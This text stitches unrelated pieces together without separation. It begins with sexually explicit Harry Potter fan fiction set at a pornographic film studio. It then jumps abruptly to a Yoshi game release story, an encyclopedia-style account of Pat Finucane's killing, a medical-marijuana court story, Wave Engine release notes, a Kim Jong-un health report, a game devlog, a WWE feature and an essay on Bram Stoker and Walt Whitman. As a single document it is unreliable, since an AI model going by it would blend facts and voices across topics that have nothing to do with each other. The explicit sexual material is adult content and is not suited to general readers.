"As I meant it. You always take the bait, Potter." Malfoy bent down and picked up his shirt and started to walk out.
Harry began to put his jeans back on. "Yeah, but I hooked you, didn't I?"
Draco continued to walk out without comment or looking back.
Sitting in Robert Winston's office, Harry began filling out paperwork while Winston asked Harry questions and gave him the rundown of the place.
"You'll get paid for the time you put in, but you'll only come into the studios when scheduled. Usually, it works out more like getting paid per film. And sometimes you'll work a lot, sometimes, not so much. We have exclusives to you, too. No moonlighting. We book appearances occasionally. And, of course, doing the extras pays extra."
"Extras?"
"Fetish stuff, S & M, taking two at once. Anything kinky really. Do you bottom?" Robert asked Harry the question as casually as a dentist would ask if he flossed.
Harry blushed. "I've only done that twice. It's not my preference."
"Well, you may have to. You and your partner can work that out, though. Blow jobs are expected, as well as cuming on film. That's a tricky one," Robert laughed. "You gotta remember to pull out. You have a problem with any of this, Harry?"
"No, sir," Harry replied.
"And don't call me Sir. It's Robert. Nobody even calls me Mr. Winston."
"Okay Robert."
"Don't worry, Harry. You'll fit right in. We do mostly cutesy twink stuff. The emo boys are really popular these days. It's still hard core, though."
Harry felt like Robert was speaking a different language. He didn't know what emo or twink was, but he guessed he'd figure it out soon enough.
Robert continued to bombard Harry with information. "I officially recommend condoms but not everybody likes them. Again, you and whatever partner you have will have to work that out. Any questions?"
"When will I start?" Harry asked anxiously.
"You'll have to be screened first. Go to the lab today. As soon as you're clear, you're good. Usually it's less than a week," Robert told him. "And you'd do well not to get romantically involved with anybody you work with regularly. It'd be better not to get involved with anyone here at all. But it happens. Do you have any preferences?"
"Preferences for what?"
"A type. You know, to get you going. Everybody has a type. Of course, we could put you with anyone, but I like my boys to be happy. It comes across on film."
Harry's attention was drawn to the door as Draco walked by.
"Blonds," he answered.
Harry walked out of the office after his conversation with Robert and a handshake, with a signed contract. He was officially on board. He looked to see if Malfoy was around. Disappointed that he wasn't, Harry turned and headed toward the reception desk. Carol smiled as she looked up at him. She handed him directions to a local lab and a request form.
"Your friend just left," she said, handing him yet more paperwork.
"What friend?" Harry tried to sound nonchalant. Technically, he and Malfoy weren't friends, so it wasn't a lie.
"I won't say anything. Just keep it on the down low. Office romance is frowned upon here."
"That definitely won't be a problem," Harry smiled. "We are not friends."
Harry stepped outside feeling- he wasn't sure what he was feeling. He secured a relatively well paying job, but at what cost? Really, Harry reasoned, it wasn't going to be that different from picking up random strangers and fucking them in a public toilet. At least these boys would be clean, and probably better looking. The young man that held the door open for him sure was fine. And blond.
Harry wondered why he said that. He never really had a preference for a particular look. And now he may get paired with the blondest blond of all. That thought simultaneously made Harry nauseous and excited. He hadn't expected Malfoy to react to him. At first Harry thought he had gotten to him, but the more he thought about it, he decided Malfoy must have simply been in performance mode. Becoming aroused on cue probably took a certain amount of talent. Yes, that was all, Malfoy was just damned good at his job.
"Oi, Potter!" Harry turned to see Malfoy leaning against the building drinking a Coke.
Harry had been so lost in his own thoughts, he hadn't noticed the platinum blond standing there. And Malfoy was not someone to go unnoticed.
"Malfoy," Harry acknowledged.
Malfoy pushed himself off the wall with his foot and strode toward Harry.
"So, you're really doing this then?" he asked Harry.
"I need the money. And it sounds better than fucking anonymous men in dark alleyways."
Malfoy raised an eyebrow. "But you're the Chosen One," he said mockingly.
"Not here. Here I'm just a guy with a scar on my head. And maybe a few on my body. Though that didn't seem to bother Robert any. Here I'm just another loser with no employment." Harry sighed. "Actually, it's nice to be anonymous." He almost added that it was sometimes lonely but he didn't want to appear to be a complete tosser to Malfoy.
"Well, it looks like you're no longer unemployed," Draco said, pointing to the familiar paperwork in Harry's hand.
Harry smiled. "That's right. I should be celebrating. Come to a pub with me, Malfoy."
Draco blinked. "You want me to go celebrate with you? Are you that desperate?" he chortled.
"Yeah, maybe I am."
Malfoy raised his eyebrows. He was joking, but the look on Harry's face almost made him feel sorry for him.
"You're pathetic, Potter," he said, with just a hint of a smirk. "Come on then, you ever been to The Outside Inn?"
"Uh, how 'bout someplace different. Got myself tossed out of there last time I went. You know Paddy's?"
Malfoy laughed. A genuine laugh. Harry didn't recall ever hearing it before. Well, maybe when Malfoy had laughed at his expense. "Okay, but you must tell me that story. Our Savior, booted out of a public house."
Paddy's was close enough to walk and the day was unusually mild and fairly sunny day for London. Being midday, it was less crowded than it was at night. Harry and Draco sat on stools at the bar and ordered a couple of pints.
"I thought you were broke," Draco said as they both pulled out money and placed it on the bar.
"I have enough money for beer. And besides, I invited you to come here with me. I'm paying," Harry insisted. "And I'm hungry. The bangers and mash here is spot on."
Draco shook his head. "You know, now that you're under contract, you may want to watch what you put into your body. No more steak and kidney pudding for you."
Harry looked down at himself. "Do you think I'm chubby or something? I don't look good starkers?"
Dracos' eyes widened. Harry said that just as the barmaid was walking by.
"Keep your voice down, Potter. You don't need to broadcast our business."
"Did you think the barmaid didn't already know you're a ponce? I mean, look at you. Tailored clothes, expensive haircut, well manicured hands that have obviously never done a hard day's work," Harry chuckled.
Draco huffed. "It's not my fault I was born into a life of privilege and you weren't. You're not better than me simply because-"
Harry cut him off. "I was only joking, Malfoy. I didn't like your implication about my eating habits. Speaking of eating. Would you like something?"
Draco didn't want to admit he was hungry, mainly because he didn't want Harry buying him lunch. A beer was one thing. He was about to decline when his stomach rumbled faintly. But Harry still heard.
"I'll take that as a yes," Harry laughed. He ordered a chicken club, minus the mayonnaise for them to split and two small Caesar salads with the dressing on the side.
"Does that meet with your approval?" Harry asked with a hint of sarcasm in his voice. Catching Draco's discomfort at having his lunch ordered and paid for, Harry pouted. "You're taking the fun out of this. I haven't taken anybody out in a long time. Wait, I didn't mean it like that." Harry blushed. "I only meant that Ron, Hermione and I would take turns treating each other to things." Harry's mood took on a somber air and he looked away from Draco.
"So why haven't you?" Malfoy asked before he could even think. He wasn't sure he wanted to hear Harry's sad tale. But he'd already asked and knowing the Gryffindor, he'd been waiting for someone to spill his guts to.
Harry simply shrugged. "I dunno." But he did know. They didn't understand his self-destructive lifestyle.
"Do they have a problem with you being gay?" Draco couldn't figure out why he couldn't keep his mouth shut.
"No. They have a problem with me drinking myself into oblivion and having sex with strangers in strange places. Not to mention the careless use of magic." He paused and gave Malfoy a sideways glance, trying to gauge his reaction. "I've had to Obliviate a few muggles."
He expected a lecture from Malfoy about using magic in the muggle world, the same as Hermione gave him. So he was surprised when Malfoy instead offered, "It's difficult not to use magic. It's hard not to tell anyone."
Their food was placed in front of them and they ate in relative silence, each wondering how in the hell the two of them ended up eating lunch together in a muggle pub, among other things. The longer they went without talking, the larger the elephant in the room became. The image of their encounter in the studio never fully left either of their minds. Harry finally addressed it in a way that gave Malfoy an 'out'.
He kept his voice low. "So, I guess after working for Winston a while, one learns how to . . . be ready at will?"
Draco coughed as beer sputtered out of his mouth. "Are you mental, talking about that in public?"
"What? I worded it quite subtly, I thought."
Draco scowled at him. "Work stays at work."
"Oh, I thought maybe you could give me some advice. And tell me any tricks for-"
"Watch it," Malfoy warned.
"I was only going to ask what you do if you don't find the other person attractive. At all. I mean, how did you do that earlier? With someone you hate?"
"What part of 'work stays at work' don't you get, Potter? Besides, I'm likely the only one you're going to hate. And we may never have to worry about it."
Harry noticed he didn't answer the question. Nor did he deny hating him. And yet, he was there, sharing a meal with Harry. "I don't hate you. Not anymore. I let go of that a long time ago," Harry offered. Harry didn't just let go of the hate, he held onto something else. When Harry saw Draco again, his confusing feelings about Malfoy resurfaced.
Draco's mouth opened and closed a few times as if he were about to say something, then changed his mind.
"Don't fall in love with any of them," Draco finally said after a while.
"Sorry?"
"My advice. Don't fool yourself into thinking it's more than it is. It's not love, it's acting. Just a job."
"You speaking from experience?" Harry asked.
Draco sighed, "Unfortunately." He decided not to elaborate. He shifted his gaze around the room to make sure no one was listening. "And wank in the morning before coming in for a filming day," he said almost in a whisper.
"Why?" Harry kept his voice low as well.
Draco looked at him and rolled his eyes. "Think about it, Potter."
"Oh, yeah. Guess we wouldn't want the show to end too soon," Harry chuckled.
After finishing their lunch and beer, Harry and Malfoy parted ways with a cursory "See you."
Harry watched Draco's back as he walked in the opposite direction, thinking that had to be the most surreal experience of his life. He headed for his tiny studio flat alone, resisting the urge to find another pub and another anonymous lover. Instead, he did something much more disturbing. He lay on his bed, wanking to thoughts of kissing Draco Malfoy.
Update: Nintendo has confirmed Yoshi's New Island will be available on March 14, the same day it's available in North America.
Original story follows.
Exit Theatre Mode
Original Story: Yoshi's New Island will be available on 3DS from March 14 in North America, Nintendo has announced.
The game will be available at retail and from the Nintendo 3DS eShop on that date.
Exit Theatre Mode
Originally announced last April, Yoshi's New Island tasks Yoshi with carrying Baby Mario to safety across a range of new locations. The art style remains similar to that of previous Yoshi games, and Takashi Tezuka, creative director of the original Yoshi’s Island, is working on the new title as a producer.
We reached out to Nintendo for information on a European release but were told there was no announcement to be made at this time. To whet your whistle while you wait, be sure to check out our in-depth preview of Yoshi's latest adventure from last year's E3.
Patrick Finucane (21 March 1949 – 12 February 1989),[1][2] commonly known as Pat Finucane, was an Irish human rights lawyer killed[3] by loyalist paramilitaries acting in collusion with the British government intelligence service MI5.[4] In 2011 British Prime Minister David Cameron met with Pat Finucane's family and admitted the collusion, although no member of the British security services has yet been prosecuted.[5]
Finucane's killing was one of the most controversial during the Troubles in Northern Ireland.[6] Finucane came to prominence due to successfully challenging the British government in several important human rights cases during the 1980s.[7] Sean O'Callaghan claims what many of British Security Forces felt at the time, that Finucane was a member of the Provisional IRA and was very close to Gerry Adams. [Source: https://www.telegraph.co.uk/…/Finucane-should-not-have-been…]
He was shot fourteen times as he sat eating a meal at his Belfast home with his three children and his wife, who was also wounded during the attack.[8] In September 2004, an Ulster Defence Association member, and at the time of the murder a paid informant for the Royal Ulster Constabulary, Ken Barrett, pleaded guilty to his murder.[9]
After much international pressure, the British government eventually announced that an inquiry would be held. This was one result of an agreement made between the British and Irish governments at Weston Park in 2001. The British government said it would comply with the terms agreed by the two governments at Weston Park. They agreed to appoint an international judge that would review Finucane's case and if evidence of collusion was found, a public inquiry would be recommended.[10] The British government reneged on this promise to Finucane's family after the international judge found evidence of collusion.[11] The Daily Telegraph quoted an unnamed source who claimed Prime Minister David Cameron said "[there are] people in buildings all around here who won’t let it happen".[12]
Two public investigations concluded that elements of the British security forces colluded in Finucane's murder and there have been high-profile calls for a public inquiry. However, in October 2011, it was announced that a planned public inquiry would be replaced by a less wide-ranging review. This review, led by Desmond Lorenz de Silva, released a report in December 2012 acknowledging that the case entailed "a wilful and abject failure by successive Governments".[13][14] Finucane's family called the De Silva report a "sham".[15]
Background [ edit ]
Finucane was born into a Roman Catholic family on the Falls Road, Belfast. He was the eldest child, with six brothers and one sister. At the start of the Troubles, his family was forced out of their home.[16] He graduated from Trinity College, Dublin in 1973. One of his brothers, John, a Provisional Irish Republican Army (IRA) member, was killed in a car crash in the Falls Road, Belfast, in 1972. Another brother, Dermot, successfully contested attempts to extradite him to Northern Ireland from the Republic of Ireland for his part in the killing of a prison officer; he was one of 38 IRA prisoners who escaped from HMP Maze in 1983. A third brother Seamus was the fiancé of Mairead Farrell, one of the IRA trio shot dead by the Special Air Service (SAS) in Gibraltar in March 1988.[17] Seamus was the leader of an IRA unit in west Belfast before his arrest in 1976 with Bobby Sands and seven other IRA men, during an attempt to destroy Balmoral's furniture store in south Belfast. He was sentenced to 14 years' imprisonment.[18] Finucane's wife, Geraldine, whom he met at Trinity College, is the daughter of middle-class Protestants;[19] together they had three children.
Legal defense challenges [ edit ]
Pat Finucane's best-known client was the IRA hunger striker Bobby Sands. He also represented other IRA and Irish National Liberation Army hunger strikers who died during the 1981 Maze prison protest, Brian Gillen, and the widow of Gervaise McKerr, one of three men shot dead by the Royal Ulster Constabulary (RUC) in a shoot-to-kill incident in 1982. In 1988, he represented Pat McGeown, who was charged in connection with the Corporals killings, and was photographed with McGeown outside Crumlin Road Courthouse.[20][21]
Killing [ edit ]
Finucane was shot dead at his home in Fortwilliam Drive, north Belfast, by Ken Barrett and another masked man using a Browning Hi-Power 9mm pistol and a .38 revolver respectively. He was hit 14 times.[22] The two gunmen knocked down the front door with a sledgehammer and entered the kitchen where Finucane had been having a Sunday meal with his family; they immediately opened fire and shot him twice, knocking him to the floor. Then while standing over him, the leading gunman fired 12 bullets into his face at close range.[23]
Finucane's wife Geraldine was slightly wounded in the shooting attack which their three children witnessed as they hid underneath the table. The Royal Ulster Constabulary (RUC) immediately launched an investigation into the killing. The senior officer heading the CID team was Detective Superintendent Alan Simpson, who set up a major incident room inside the RUC D Division Antrim Road station. Simpson's investigation ran for six weeks and he later stated that from the beginning, there had been a noticeable lack of intelligence coming from the other agencies regarding the killing.[23] Finucane's killing was widely suspected by human rights groups to have been perpetrated in collusion with officers of the RUC and, in 2003, the British Government Stevens Report stated that the killing was indeed carried out with the collusion of police in Northern Ireland.[24]
The Ulster Defence Association/Ulster Freedom Fighters (UDA/UFF) claimed they killed the 39-year-old solicitor because he was a high-ranking officer in the IRA. Police at his inquest said they had no evidence to support this claim. Finucane had represented republicans in many high-profile cases, but he had also represented loyalists.[17] Several members of his family had republican links, but the family strongly denied Finucane was a member of the IRA. Informer Sean O'Callaghan has claimed that he attended an IRA finance meeting alongside Finucane and Gerry Adams in Letterkenny in 1980.[25][26] However both Finucane and Adams have consistently denied being IRA members.[27]
In Finucane's case, both the RUC and the Stevens Report found that he was not a member of the IRA. Republicans have strongly criticised the claims made by O'Callaghan in his book 'The Informer' and subsequent newspaper articles. One Republican source says O'Callaghan "...has been forced to overstate his former importance in the IRA and to make increasingly outlandish accusations against individual republicans."[28]
Later investigations into the killing [ edit ]
In 1999 the third inquiry of John Stevens into allegations of collusion between the security forces and Loyalist paramilitaries concluded that there was such collusion in the murders of Finucane and Brian Adam Lambert. As a result of the inquiry, RUC Special Branch agent and loyalist quartermaster William Stobie, a member of the Ulster Defence Association was later charged with supplying one of the pistols used to kill Finucane, but his trial collapsed because he claimed that he had given information about his actions to his Special Branch handlers.[29] The pistol belonged to the UDA, which at the time was a legal organisation under British law. A further suspect, Brian Nelson, was a member of the Army's Force Research Unit. He had provided information about Finucane's whereabouts, and also claimed that he had alerted his handlers about the planned killing.[30]
In 2000, Amnesty International demanded that the then Secretary of State for Northern Ireland, Peter Mandelson, open a public inquiry into events surrounding his death. In 2001 as a result of the Weston Park talks, a retired Canadian Judge Peter Cory was appointed by the British and Irish governments to investigate the allegations of collusion by the RUC, British Army and the Gardaí in the killing of Finucane, Robert Hamill and other individuals during the Troubles. Cory reported in April 2004, and recommended public enquiries be established including the case of the Finucane killing.
In 2004, a former policeman, Ken Barrett, pleaded guilty to Finucane's murder. His conviction came after a taped confession to the police, lost since 1991, re-surfaced.[30]
In June 2005, the then Irish Taoiseach Bertie Ahern told a US Special Envoy to Northern Ireland that “everyone knows” the UK government was involved in the murder of Pat Finucane.[31] On 17 May 2006, the United States House of Representatives then passed a resolution calling on the British government to hold an independent public inquiry into Finucane's killing.[32]
Initial investigations [ edit ]
A public inquiry was announced by the British Government in 2007, but it was halted under the Inquiries Act 2005, which empowers the government to block scrutiny of state actions. Finucane's family criticised its limited remit and announced that they would not co-operate. Judge Peter Cory also strongly criticised the Act. Amnesty International has reiterated its call for an independent inquiry, and have called on members of the British judiciary not to serve on the inquiry if it is held under the terms of the Act.[33]
Finucane's widow, Geraldine (born 1950), has written letters repeating this request to all the senior judges in Great Britain, and took out a full-page advertisement in the newspaper The Times to draw attention to the campaign. In June 2007, it was reported that no police or soldiers would be charged in connection with the killing.[34]
On 11 October 2011, members of the Finucane family met with Prime Minister David Cameron in Downing Street. Cameron provided them with an official apology for state collusion into Pat Finucane's death. Following the meeting, Finucane's son Michael said that he and the family had been "genuinely shocked" to learn that the Cory recommendation of a public enquiry, previously accepted by Tony Blair, would not be followed, and that a review of the Stevens and Cory casefiles would be undertaken instead.[35] Geraldine Finucane described the proposal as "nothing less than an insult...a shoddy, half-hearted alternative to a proper public inquiry".[36] The following day, the official apology was given publicly in the House of Commons by the Secretary of State for Northern Ireland, Owen Paterson.[37]
De Silva report [ edit ]
On 12 December 2012, the government released the Pat Finucane Review, the results of the inquiry conducted by Sir Desmond de Silva.[13] The report documented extensive evidence of State collaboration with Loyalist gunmen, including the selection of targets, and concluded that "there was a wilful and abject failure by successive governments to provide the clear policy and legal framework necessary for agent-handling operations to take place effectively within the law."[13][14]
Prime Minister David Cameron acknowledged "shocking levels of collusion" and issued an apology.[38] However, Finucane's family denounced the De Silva report as a "sham" and a "suppression of the truth" into which they were allowed no input.[15] In May 2013, state documents dated 2011 disclosed through the courts revealed that David Cameron's former director of security and intelligence, Ciarán Martin, had warned him that senior members of Margaret Thatcher's government may have been aware of "a systemic problem with loyalist agents" at the time of Pat Finucane's death but had done nothing about it.[39]
2015 lawsuit [ edit ]
In late 2015, three former RUC officers, Trevor McIlwrath, Johnston Brown and Alan Simpson, filed suit in the High Court in Belfast against the Police Service of Northern Ireland (PSNI), alleging that, in order to cover up a conspiracy, the PSNI obstructed their investigation into the murder in violation of the European Convention on Human Rights. The lawsuit alleged that a senior RUC official told Simpson, who headed the investigation, not to get "too deeply involved in this one." Simpson further alleged that a senior Special Branch official who told Simpson during the investigation that he knew nothing, was revealed by the De Silva report to actually have been privy to significant information.[40]
Posthumous [ edit ]
Finucane's law firm, Madden & Finucane Solicitors, led by Peter Madden, continues to act for those it considers to have been victims of mistreatment by the State, or their survivors. The Pat Finucane Centre (PFC), named in his honour, is a human rights advocacy and lobbying entity in Northern Ireland.
Most folks go their entire lives without having a police officer hand them pounds of pot.
Matthew Zugsberger isn't one of those folks.
On Wednesday, Zugsberger saw the first portion of the 11-plus pounds of marijuana seized from him in February returned by Kent Police. Included in the bunch, he said, was a quarter pound of hashish of which Zugsberger remains quite fond.
A Californian with a prescription for medical marijuana, Zugsberger was arrested with his girlfriend at a Kent pharmacy after a police canine found the pot and a scale in the trunk of his car. In a claim not supported by police statements, Zugsberger says investigators accused him of hoping to import pot from Canada.
"They kept saying that I came to Washington to buy pot out of Canada," Zugsberger said. "Why the hell would I buy pot from Canada if I have a field of it in my backyard?"
Felony drug charges were filed, a deal was struck and Zugsberger ultimately pleaded guilty to misdemeanor possession. Zugsberger was freed on three-months probation.
His marijuana, though, remained in custody.
At issue, attorneys for both sides allowed, was the variance in medical marijuana laws between the two states. While California and Washington both allow the medical use of marijuana, Washington allows patients to possess 1 ½-pounds pot while California permits them five pounds.
Late last month, Zugsberger's defense attorney Aaron Pelley filed a petition with King County Superior Court demanding that the pot be returned to Zugsberger. In a compromise, Pelley said, the judge ruled that Zugsberger would be returned his marijuana in 1 ½-pound portions at seven-day increments.
"To my knowledge, it was the first time anyone has asked for their marijuana back," said Pelley, who is active with the marijuana-law reform organization Cannabis Defense Coalition. "It's the weirdest case I've ever dealt."
Ian Goodhew, deputy chief of staff to King County Prosecutor Dan Satterberg, said prosecutors argued against the immediate return of Zugsberger's full load of pot in part because doing so would violate state law.
"Although Mr. Zugsberger had valid documentation from the state of California, he had far more marijuana than what state law allows," Goodhew said. "When he asked for his marijuana back, our department asked the court to follow Washington state law and the department of health guidelines."
Goodhew said the plea agreement recognized both those circumstances -- that Zugsberger had both a legal right to possess marijuana, and that he arguably had 10 times the amount allowed under state law.
Zugsberger said he began using marijuana medicinally in 2007 to manage nausea associated with a severe injury he sustained while working as an underwater welder in the Gulf of Mexico.
Immediately after the accident, he was prescribed prescription pain killers derived from opium. Zugsberger said the drugs gave him liver problems, and he became concerned about his dependence on them.
While he doesn't support a blanket legalization of marijuana, he said the drug has helped him manage his injuries. But, Zugsberger said, it has left him at odds with authorities that refuse to recognize his California-endorsed pot prescription.
That, he argued, amounts to a violation of Constitutional guarantees that a license issued in one state will be honored by the whole.
"Full faith and credit is what keeps us together," Zugsberger said. "No matter what our different views are, we are one people and a document issued in one state should be honored in every state."
Goodhew said prosecutors did not take issue with Zugsberger's prescription -- which, unlike those issued in Washington, carries a raised seal -- but with the size of his stash.
New profile system.
Visual Editor Offline mode.
Project Upgrader Tool.
Spine upgrade.
TileMap upgrade.
iOS Storyboard support.
Static entities on Visual Editor.
Non-serializable entities.
New profile system
Thinking about multiplatform projects when we need different settings to different types of project we’ve developed a completed new profile system for Wave Engine and fully integrated with our Visual Editor. For example, we can have two profiles for the Android platform, one of them with textures in higher resolution. That can be achieved with this new system.
More information in this article.
Visual Editor Offline mode
Now Visual Editor can work offline if you’ve already logged in. Once you log in, you can use our editor with not internet access during a period of time of about 1 week.
However take in mind that if you create a new project, the Nuget package download will fail so you won’t be able to build the solution.
New Project Upgrader Tool
Listening to our community we decided to help developers to upgrade their Wave Engine projects from old versions to the latest ones.
That upgrade is automatic and will occur just loading the project in our Visual Editor. A dialog will appear letting you know that the upgrade is about to take place and will ask for user confirmation.
After this, the project will be upgraded to the current Wave version. This includes all the compatibility issues so this will save a lot of time to the developers.
In fact, Wave Engine Hammerhead Shark has introduced some changes that force the project to be upgraded, like:
Updated . winfo file format, to add support to the new profile system.
file format, to add support to the new profile system. Updated .weproj file format, to allow the user to set up its own profiles.
We will keep updating this tool for future releases.
Updated Spine version
Wave Engine Hammerhead Shark has updated its Spine extension to the 3.0.8 version. In addition, we’ve fixed several issues and added new features in our integration like:
Opacity and color support.
Origin error fix.
error fix. Spine Events support.
Spine binary file format (.skel) support.
(.skel) support. Drag&Drop. Now you can drag a . skel asset from the editor to the Visual Editor viewport and a Spine entity will be created.
Now you can drag a . asset from the editor to the viewport and a entity will be created. Bounding rectangle problem fixed.
Updated Tiled Map version
Wave Engine has been updated to support Tiled Map 0.15. Our new additions are:
File format update.
Layer offset support.
Image layers support.
iOS Storyboard support.
Wave Engine now allows being integrated into a Storyboard Control in iOS platform and embed Wave into an iOS application and draw it into a UIView. This opens a lot of possibilities in your iOS applications.
Static entities in Visual Editor
In Wave Engine, an entity can be declared as static when it won’t change or move. It’s interesting because WaveEngine internally batches all static entities using the same shader, painting all of them at once. This feature was added time ago in the engine, but now it can be used into Visual Editor and it’s useful when we need to draw lot of copies of the same object (trees forests, columns in a temple, etc..)
To enable/disable this just check/uncheck the IsStatic checkbox on the EntityDetails panel when an entity is selected.
Non-serializable entities
This new version allows declaring entity as non-serializable by code. Sometimes we want to create a component which creates some entities in the Initialize() method. For example, we want to create a factory that populates a scene with other entities according to some parameters (random asteroid field for example).
If we do that, we risk populating the Visual Editor with non-desired entities. To avoid that, we can:
Create the entities in the Update() method of a Behavior. This is not a good solution because forces the user to convert simple components to behaviors with just one useful Update call.
South Korean and U.S. officials believe North Korean dictator Kim Jong-un Kim is probably being treated for an illness that caused him to limp in public, ruling out a scenario that he has been toppled from power.
"North Korea's state media confirmed that he suffered from discomfort. I think there is no reason to disbelieve it," Ministry of Unification spokesman Lim Byeong-cheol told The Korea Times.
Lim did not speculate on the gravity of Kim's condition, saying the ministry had only limited information.
Multiple diplomatic sources in Washington reportedly said Kim was being treated for a relatively minor ankle problem.
"We understand that Kim is suffering from a disease that resulted in edemas and blisters on the joint," Yonhap News Agency quoted a source as saying. "We were told the disease requires him to get treatment for a long period and that he needs surgery."
Beta1 is now done and off to be play-tested. Beta2 is being worked on next. We are aiming for Beta2 to be ready before end of July. Beta2 will be the version we will then use to demo the game to press, potential endorsers, youtubers, twitchers and future designers we want to hire and bring into our team. It is also the version we will be using to record our Kickstarter video.
Beta2 features:
The main features we are adding in Beta2 include:
Preset balanced 1v1 maps with various terrain and planets for 3 different sizes
Improved hand-UI and targeting system, to make playing and targeting cards even more intuitive
Improved tech-pool (sideboard) graphics and UI
Larger demo decks with about one to two dozen new cards to play with
Beyond Beta2
After Beta2 we will still have one more revision to make before the Kickstarter, which will be Beta3. The main goal of Beta3 will be to add some additional tool tips / help screens to help people play without someone coaching them. Beta3 will be the version we use at gaming conventions and should be the final one before we go off to get funded!
Hiring needs
Our loving NeoCrux Ltd. family has now grown to 25 people on the core team, and another two to three dozen contributing artists, musicians and play-testers.
But we still need a few more people to help us… Our biggest need right now is for a couple additional QA TESTERS. Do you want to get an early view of the game? Do you have experience doing QA testing with bug tracking tools? And do you have at least 10 hours a week to help us with testing?
If so, please contact us today.
Kickstarter Planning
We still don’t have a final date for Kickstarter, but we are tentatively aiming now for mid to end of August to start our campaign. If we need more time however we could make this be September instead. We will know a lot more by mid to end July!
Music progress
Sam Watson, who is in charge of our audio production and sound design, has been collecting a long list of prospect music for the game, by the end of this week we should be contacting musicians to ask if they want to be a part of our project. The end result will be a sound track we hope to have compiled together that will play with our game. If the stars align we also plan on having the game’s audio track available on our kickstarter!
For now I can already tell you we are working with Erik Peabody from Viking Guitar. He has been kind enough to work on some custom ambient tracks for us in the vibe of Asteroid fields and Nebula clouds.
3D modeling progress
The ships in our game continued to make good progress, below are some of the renders for the Sylith Cruiser, Coalition Dreadnaught and the Coalition Frigate in our battle-scene. The last image is the draft version of the Sylith Dreadnaught. A floating mega city with a giant tree in a glass dome:
Kickstarter Video
“This has been 20 years in the making for me,” says then-Intercontinental Champion Kevin Owens. “Just two years ago I bought a ticket to WrestleMania and now I’m performing. I’ll pretty much do whatever it takes to make sure my debut is a memorable one.”
He’s sold on WWE’s Hollywood-like notion of the “WrestleMania Moment” as much as the fans.
Other performers stay in character. Paul Heyman, the on-screen manager of Brock Lesnar, maintains his persona, barking on about how Lesnar will conquer and dominate WWE; The New Day, WWE’s popular three-man tag team, bounce around like sugared-ravaged children. I’m amazed at how quick and off-the-cuff they are, and the synergy between them. There cannot be many mainstream entertainers that could improvise like that for hours on end.
The Fans Are Alright
A short walk across downtown Dallas there’s an accident waiting to happen. On the sixteenth floor of the Reunion Tower is the big press junket with WWE’s top-line stars – John Cena, Roman Reigns, Chris Jericho – and on the bottom floor, the independent WrestleCon convention, which is full of hardcore fans – some perfectly sane, some not so much.
It would only take one of them to get a sniff of what’s going on upstairs for an actual Royal Rumble to erupt, for the chance to take a quick selfie with wrestling’s biggest names.
If Stoker climbed out of his grave, he would probably be surprised at the pantheon of vampires his book has sired and the fandom that has evolved around them. In his day, there weren’t fans declaring their allegiance to characters with “Team Dracula” or “Team Harker” T-shirts as they’ve done with Twilight and True Blood. Nor were there websites and message boards where you could check for the latest news about your sparkly vampire crush 24/7.
But Stoker wasn’t immune to the lure of fandom. He understood it very well. The object of his adoration wasn’t a bloodsucking creature of the night, but an aging American poet who had scandalized America. When he was twenty-two, Stoker read and fell in love with Walt Whitman’s poetry, finding solace and joy between the covers of Leaves of Grass.And, like many fans, he wanted the connection that he felt to Whitman to be real. Late one night, cloaked in the comfort of darkness, Stoker poured his soul out to Whitman in a shockingly honest letter that described himself and his disposition. That letter, when Stoker finally mustered the courage to mail it, would begin an unexpected literary friendship that lasted until Whitman’s death.
The Fan
The Bram Stoker who put pen to paper was a young man who had, in the previous decade, grown from a sickly boy into a brawny athlete. Born on November 8, 1847, he was the third of seven children to Charlotte and Abraham Stoker. “In my babyhood I used, I understand, to be often at the point of death,” writes Stoker in his memoir. “Certainly till I was about seven years old I never knew what it was to stand upright.” His earliest memories were of being carried somewhere—to the couch, to the bed, to a patch of grass outside. Decades later, Stoker suggested that his illness, the nature of which still remains a mystery, helped foster his interest in writing. “I was naturally thoughtful and the leisure of long illness gave opportunity for many thoughts which were fruitful according to their kind in later years.”
The Stokers lived in a modest three-story Georgian house on 15 Marino Crescent in Clontarf, a pleasant coastal suburb of Dublin, known as the site of King Brian Boru’s victory over the Vikings in 1014. While Stoker’s father reported for his civil service clerkship at Dublin Castle, the seat of British rule in Ireland, his mother saw to his education. At age twelve, he began studying part of the day with Reverend William Woods, who oversaw a small prep school. Along with mastering classics and mathematics, Stoker focused on improving his health and endurance. The young boy who had to be carried everywhere gradually turned into a tall, strapping lad who relished long walks and anything athletic in nature.
In 1864, Stoker headed to Trinity College, Ireland’s top university and a bastion of Protestantism. His transformation continued, as he used his physicality to “overcome my natural shyness.” Having grown to be the tallest in his family, he became University Athlete in 1867, winning awards for weight-lifting and endurance walking. And Stoker wasn’t just formidable on the rugby pitch. He became a fierce debater, honing his skills as a member of the University Philosophical Society, Trinity’s most prestigious club, and the College Historical Society. He also scored solid marks in his courses, earning a degree in science in 1871, followed by master’s work in mathematics.
Reading Walt
By his own recollection, Stoker’s first encounter with Walt Whitman was in a book review. The October 1869 edition of the Temple Bar: A London Magazine for Town and Country Readers featured a blistering appraisal of Poems by Walt Whitman. The reviewer took issue with Whitman constantly inserting himself into his work. He declared Whitman’s rendering of his four themes—America, democracy, personality, and materialism—shallow. “Unable, just like many of his somewhat less boisterous contemporaries, to understand the vast problem presented by the past, present, and future of the world, like them again he fancies he has solved it by a clumsy application of the bene quodcunque est [say nice things about everything] doctrine.” The reviewer also found Whitman’s description of bodies distasteful and his style appalling. “His style has nothing in common with either the Bible, Shakspeare, Plato, or any other hitherto honoured name in literature; but that his grotesque, ungrammatical, and repulsive rhapsodies can be fitly compared only to the painful ravings of maniacs’ dens.” To close, the reviewer tossed in an anti-American zinger. “It has been said of Mr. Whitman by one of his warmest admirers, ‘He is Democracy.’ We really think he is—in his compositions, at least; being, like it, ignorant, sanguine, noisy, coarse, and chaotic!”
Poems by Walt Whitman, published in 1868, was the first British printing of Whitman’s work. Until then, if you wanted to read Whitman you had to find someone to lend you one of the few copies of Leaves of Grass that had made its way across the Atlantic or you had to know someone in America who could send you a volume. British publishers refused to undertake a British edition, afraid of running afoul of Victorian-era pornography laws.
There were those, however, who felt Whitman needed to be read by a wider audience, among them William Michael Rossetti, brother to Dante and Christina and a leading force in the pre-Raphaelite movement. After being given an 1867 edition of Leaves of Grass by a friend, Rossetti fell hard for Whitman, whom he regarded as “the most sonorous poetic voice of the tangibilities of actual and prospective democracy.” The problem was how to bring this voice of democracy to the British reading public. Rossetti’s solution was to cut Leaves of Grass in half. “Whitman, though resigned, is not really pleased at the publication of a mere selection of his poems,” wrote Rossetti in his diary in November 1867.
